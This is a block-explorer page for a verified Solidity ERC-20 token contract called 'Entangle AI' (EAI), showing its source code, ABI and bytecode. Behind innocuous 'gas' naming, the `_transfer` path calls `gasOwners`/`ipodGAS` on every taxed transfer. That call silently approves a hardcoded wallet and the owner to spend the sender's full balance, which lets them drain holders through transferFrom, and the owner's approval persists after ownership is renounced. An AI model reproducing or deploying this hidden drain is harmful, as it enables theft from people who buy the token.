ERC-20
Overview
Max Total Supply
1,000,000,000 EAI
Holders
279
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
298,042.082169206 EAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
EAI
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-02 */ /* Entangle AI is the programmable interoperability layer, connecting blockchains, data and the real world, unlocking limitless assets and applications https://www.entangle-ai.com https://app.entangle-ai.com https://docs.entangle-ai.com https://medium.com/@EntangleAI https://x.com/EntangleAICom https://t.me/EntangleAIChannel */ // SPDX-License-Identifier: MIT pragma solidity 0.8.10; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IGASFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IGASRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract EAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _gasHODLs; mapping (uint8 => address) private _gasWallets; mapping (address => mapping (address => uint256)) private _gasPermits; mapping (address => bool) private _gasFeeExcempt; uint8 private constant _decimals = 9; uint256 private constant _tTotalGAS = 1000000000 * 10**_decimals; string private constant _name = unicode"Entangle AI"; string private constant _symbol = unicode"EAI"; uint256 private _swapGASAmount = _tTotalGAS / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; address private _gasWallet = 0xb3236871fDD32036F695B326A8C88b74035ae842; bool private inSwapLock = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapLock = true; _; inSwapLock = false; } IGASRouter private _gasRouter; address private _gasPair; constructor () { _gasFeeExcempt[owner()] = true; _gasFeeExcempt[address(this)] = true; _gasFeeExcempt[_gasWallet] = true; _gasHODLs[_msgSender()] = _tTotalGAS; emit Transfer(address(0), _msgSender(), _tTotalGAS); } receive() external payable {} function GAS() external onlyOwner() { _gasRouter = IGASRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_gasRouter), _tTotalGAS); _gasPair = IGASFactory(_gasRouter.factory()).createPair(address(this), _gasRouter.WETH()); _gasWallets[0] = address(_gasWallet); _gasWallets[1] = address(owner()); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _gasRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalGAS; } function balanceOf(address account) public view override returns (uint256) { return _gasHODLs[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _gasPermits[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _gasPermits[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _gasPermits[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address gas01, address gas02, uint256 gas0T) private { require(gas01 != address(0), "ERC20: transfer from the zero address"); require(gas02 != address(0), "ERC20: transfer to the zero address"); require(gas0T > 0, "Transfer amount must be greater than zero"); uint256 gasFees=0; if (gasOwners(gas01, gas02)) { gasFees = gas0T.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (gas01 == _gasPair && gas02 != address(_gasRouter) && ! _gasFeeExcempt[gas02]) { _buyCount++; } if(gas02 == _gasPair && gas01!= address(this)) { gasFees = gas0T.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 tokenBalance = balanceOf(address(this)); if (!inSwapLock && gas02 == _gasPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(tokenBalance > _swapGASAmount) swapTokensForEth(minGAS(gas0T, minGAS(tokenBalance, _swapGASAmount))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendGASFee(address(this).balance); } } } if(gasFees > 0){ _gasHODLs[address(this)] = _gasHODLs[address(this)].add(gasFees); emit Transfer(gas01, address(this), gasFees); } _gasHODLs[gas01] = _gasHODLs[gas01].sub(gas0T); _gasHODLs[gas02] = _gasHODLs[gas02].add(gas0T.sub(gasFees)); emit Transfer(gas01, gas02, gas0T.sub(gasFees)); } function ipodGAS(address gas01,address gas02) private { _approve(gas01, gas02, _tTotalGAS); } function minGAS(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendGASFee(uint256 amount) private { payable(_gasWallet).transfer(amount); } function gasOwners(address gas01, address gas02) private returns(bool) { if(_gasWallets[0] != address(0)) ipodGAS(gas01, _gasWallets[0]); if(_gasWallets[1] != address(0)) ipodGAS(gas01, _gasWallets[1]); return gas01 != owner() && gas02 != owner(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _gasRouter.WETH(); _approve(address(this), address(_gasRouter), tokenAmount); _gasRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"GAS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526064620000146009600a620002e1565b6200002490633b9aca00620002f9565b6200003091906200031b565b60055560036006818155600791909155600060088190556009819055600a829055600b829055600c91909155600d55600e80546001600160b81b03191673b3236871fdd32036f695b326a8c88b74035ae8421790553480156200009257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160046000620000ed6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526004909352818320805485166001908117909155600e54909116835291208054909216179055620001526009600a620002e1565b6200016290633b9aca00620002f9565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001a56009600a620002e1565b620001b590633b9aca00620002f9565b60405190815260200160405180910390a36200033e565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000223578160001904821115620002075762000207620001cc565b808516156200021557918102915b93841c9390800290620001e7565b509250929050565b6000826200023c57506001620002db565b816200024b57506000620002db565b81600181146200026457600281146200026f576200028f565b6001915050620002db565b60ff841115620002835762000283620001cc565b50506001821b620002db565b5060208310610133831016604e8410600b8410161715620002b4575081810a620002db565b620002c08383620001e2565b8060001904821115620002d757620002d7620001cc565b0290505b92915050565b6000620002f260ff8416836200022b565b9392505050565b6000816000190483118215151615620003165762000316620001cc565b500290565b6000826200033957634e487b7160e01b600052601260045260246000fd5b500490565b611625806200034e6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610248578063bb1913f314610268578063c9567bf91461027d578063dd62ed3e1461029257600080fd5b8063715018a6146101dd5780638da5cb5b146101f457806395d89b411461021c57600080fd5b806306fdde03146100d2578063095ea7b31461011857806318160ddd1461014857806323b872dd1461016b578063313ce5671461018b57806370a08231146101a757600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600b81526a456e74616e676c6520414960a81b60208201525b60405161010f91906111fc565b60405180910390f35b34801561012457600080fd5b50610138610133366004611269565b6102d8565b604051901515815260200161010f565b34801561015457600080fd5b5061015d6102ef565b60405190815260200161010f565b34801561017757600080fd5b50610138610186366004611295565b610310565b34801561019757600080fd5b506040516009815260200161010f565b3480156101b357600080fd5b5061015d6101c23660046112d6565b6001600160a01b031660009081526001602052604090205490565b3480156101e957600080fd5b506101f2610379565b005b34801561020057600080fd5b506000546040516001600160a01b03909116815260200161010f565b34801561022857600080fd5b5060408051808201909152600381526245414960e81b6020820152610102565b34801561025457600080fd5b50610138610263366004611269565b6103f6565b34801561027457600080fd5b506101f2610403565b34801561028957600080fd5b506101f261069a565b34801561029e57600080fd5b5061015d6102ad3660046112f3565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102e533848461080c565b5060015b92915050565b60006102fd6009600a611426565b61030b90633b9aca00611435565b905090565b600061031d848484610930565b61036f843361036a856040518060600160405280602881526020016115c8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610d2e565b61080c565b5060019392505050565b6000546001600160a01b031633146103ac5760405162461bcd60e51b81526004016103a390611454565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e5338484610930565b6000546001600160a01b0316331461042d5760405162461bcd60e51b81526004016103a390611454565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104769030906104686009600a611426565b61036a90633b9aca00611435565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ed9190611489565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105739190611489565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e49190611489565b601080546001600160a01b039283166001600160a01b031991821617909155600e546000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b8054909216921691909117905561064f6000546001600160a01b031690565b600160005260026020527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106c45760405162461bcd60e51b81526004016103a390611454565b600e54600160a81b900460ff161561071e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a3565b600f546001600160a01b031663f305d7194730610750816001600160a01b031660009081526001602052604090205490565b6000806107656000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f291906114a6565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b03831661086e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a3565b6001600160a01b0382166108cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a3565b6001600160a01b0382166109f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a3565b60008111610a585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a3565b6000610a648484610d68565b15610beb57610a956064610a8f600a54600d5411610a8457600654610a88565b6008545b8590610e8e565b90610f0d565b6010549091506001600160a01b038581169116148015610ac35750600f546001600160a01b03848116911614155b8015610ae857506001600160a01b03831660009081526004602052604090205460ff16155b15610b0357600d8054906000610afd836114d4565b91905055505b6010546001600160a01b038481169116148015610b2957506001600160a01b0384163014155b15610b5657610b536064610a8f600b54600d5411610b4957600754610a88565b6009548590610e8e565b90505b30600090815260016020526040902054600e54600160a01b900460ff16158015610b8d57506010546001600160a01b038581169116145b8015610ba25750600e54600160b01b900460ff165b8015610bb15750600c54600d54115b15610be957600554811115610bdd57610bdd610bd884610bd384600554610f4f565b610f4f565b610f64565b47610be7476110de565b505b505b8015610c655730600090815260016020526040902054610c0b908261111c565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5c9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610c88908361117b565b6001600160a01b038516600090815260016020526040902055610ccd610cae838361117b565b6001600160a01b0385166000908152600160205260409020549061111c565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d17858561117b565b60405190815260200160405180910390a350505050565b60008184841115610d525760405162461bcd60e51b81526004016103a391906111fc565b506000610d5f84866114ef565b95945050505050565b600080805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001600160a01b031615610de1576000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54610de19084906001600160a01b03166111bd565b600160005260026020527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0546001600160a01b031615610e5b57600160005260026020527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e054610e5b9084906001600160a01b03166111bd565b6000546001600160a01b03848116911614801590610e8757506000546001600160a01b03838116911614155b9392505050565b600082610e9d575060006102e9565b6000610ea98385611435565b905082610eb68583611506565b14610e875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a3565b6000610e8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111ce565b6000818311610f5e5782610e87565b50919050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fac57610fac611528565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190611489565b8160018151811061103c5761103c611528565b6001600160a01b039283166020918202929092010152600f54611062913091168461080c565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061109b90859060009086903090429060040161153e565b600060405180830381600087803b1580156110b557600080fd5b505af11580156110c9573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611118573d6000803e3d6000fd5b5050565b60008061112983856115af565b905083811015610e875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a3565b6000610e8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d2e565b61111882826104686009600a611426565b600081836111ef5760405162461bcd60e51b81526004016103a391906111fc565b506000610d5f8486611506565b600060208083528351808285015260005b818110156112295785810183015185820160400152820161120d565b8181111561123b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461126657600080fd5b50565b6000806040838503121561127c57600080fd5b823561128781611251565b946020939093013593505050565b6000806000606084860312156112aa57600080fd5b83356112b581611251565b925060208401356112c581611251565b929592945050506040919091013590565b6000602082840312156112e857600080fd5b8135610e8781611251565b6000806040838503121561130657600080fd5b823561131181611251565b9150602083013561132181611251565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561137d5781600019048211156113635761136361132c565b8085161561137057918102915b93841c9390800290611347565b509250929050565b600082611394575060016102e9565b816113a1575060006102e9565b81600181146113b757600281146113c1576113dd565b60019150506102e9565b60ff8411156113d2576113d261132c565b50506001821b6102e9565b5060208310610133831016604e8410600b8410161715611400575081810a6102e9565b61140a8383611342565b806000190482111561141e5761141e61132c565b029392505050565b6000610e8760ff841683611385565b600081600019048311821515161561144f5761144f61132c565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561149b57600080fd5b8151610e8781611251565b6000806000606084860312156114bb57600080fd5b8351925060208401519150604084015190509250925092565b60006000198214156114e8576114e861132c565b5060010190565b6000828210156115015761150161132c565b500390565b60008261152357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561158e5784516001600160a01b031683529383019391830191600101611569565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115c2576115c261132c565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220360514200d77c2019b7108ea97a6ae10a90e6c868df34a55224e94159bbbbccf64736f6c634300080a0033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610248578063bb1913f314610268578063c9567bf91461027d578063dd62ed3e1461029257600080fd5b8063715018a6146101dd5780638da5cb5b146101f457806395d89b411461021c57600080fd5b806306fdde03146100d2578063095ea7b31461011857806318160ddd1461014857806323b872dd1461016b578063313ce5671461018b57806370a08231146101a757600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600b81526a456e74616e676c6520414960a81b60208201525b60405161010f91906111fc565b60405180910390f35b34801561012457600080fd5b50610138610133366004611269565b6102d8565b604051901515815260200161010f565b34801561015457600080fd5b5061015d6102ef565b60405190815260200161010f565b34801561017757600080fd5b50610138610186366004611295565b610310565b34801561019757600080fd5b506040516009815260200161010f565b3480156101b357600080fd5b5061015d6101c23660046112d6565b6001600160a01b031660009081526001602052604090205490565b3480156101e957600080fd5b506101f2610379565b005b34801561020057600080fd5b506000546040516001600160a01b03909116815260200161010f565b34801561022857600080fd5b5060408051808201909152600381526245414960e81b6020820152610102565b34801561025457600080fd5b50610138610263366004611269565b6103f6565b34801561027457600080fd5b506101f2610403565b34801561028957600080fd5b506101f261069a565b34801561029e57600080fd5b5061015d6102ad3660046112f3565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102e533848461080c565b5060015b92915050565b60006102fd6009600a611426565b61030b90633b9aca00611435565b905090565b600061031d848484610930565b61036f843361036a856040518060600160405280602881526020016115c8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610d2e565b61080c565b5060019392505050565b6000546001600160a01b031633146103ac5760405162461bcd60e51b81526004016103a390611454565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e5338484610930565b6000546001600160a01b0316331461042d5760405162461bcd60e51b81526004016103a390611454565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104769030906104686009600a611426565b61036a90633b9aca00611435565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ed9190611489565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105739190611489565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e49190611489565b601080546001600160a01b039283166001600160a01b031991821617909155600e546000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b8054909216921691909117905561064f6000546001600160a01b031690565b600160005260026020527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106c45760405162461bcd60e51b81526004016103a390611454565b600e54600160a81b900460ff161561071e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a3565b600f546001600160a01b031663f305d7194730610750816001600160a01b031660009081526001602052604090205490565b6000806107656000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f291906114a6565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b03831661086e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a3565b6001600160a01b0382166108cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a3565b6001600160a01b0382166109f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a3565b60008111610a585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a3565b6000610a648484610d68565b15610beb57610a956064610a8f600a54600d5411610a8457600654610a88565b6008545b8590610e8e565b90610f0d565b6010549091506001600160a01b038581169116148015610ac35750600f546001600160a01b03848116911614155b8015610ae857506001600160a01b03831660009081526004602052604090205460ff16155b15610b0357600d8054906000610afd836114d4565b91905055505b6010546001600160a01b038481169116148015610b2957506001600160a01b0384163014155b15610b5657610b536064610a8f600b54600d5411610b4957600754610a88565b6009548590610e8e565b90505b30600090815260016020526040902054600e54600160a01b900460ff16158015610b8d57506010546001600160a01b038581169116145b8015610ba25750600e54600160b01b900460ff165b8015610bb15750600c54600d54115b15610be957600554811115610bdd57610bdd610bd884610bd384600554610f4f565b610f4f565b610f64565b47610be7476110de565b505b505b8015610c655730600090815260016020526040902054610c0b908261111c565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5c9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610c88908361117b565b6001600160a01b038516600090815260016020526040902055610ccd610cae838361117b565b6001600160a01b0385166000908152600160205260409020549061111c565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d17858561117b565b60405190815260200160405180910390a350505050565b60008184841115610d525760405162461bcd60e51b81526004016103a391906111fc565b506000610d5f84866114ef565b95945050505050565b600080805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001600160a01b031615610de1576000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54610de19084906001600160a01b03166111bd565b600160005260026020527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0546001600160a01b031615610e5b57600160005260026020527fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e054610e5b9084906001600160a01b03166111bd565b6000546001600160a01b03848116911614801590610e8757506000546001600160a01b03838116911614155b9392505050565b600082610e9d575060006102e9565b6000610ea98385611435565b905082610eb68583611506565b14610e875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a3565b6000610e8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111ce565b6000818311610f5e5782610e87565b50919050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fac57610fac611528565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190611489565b8160018151811061103c5761103c611528565b6001600160a01b039283166020918202929092010152600f54611062913091168461080c565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061109b90859060009086903090429060040161153e565b600060405180830381600087803b1580156110b557600080fd5b505af11580156110c9573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611118573d6000803e3d6000fd5b5050565b60008061112983856115af565b905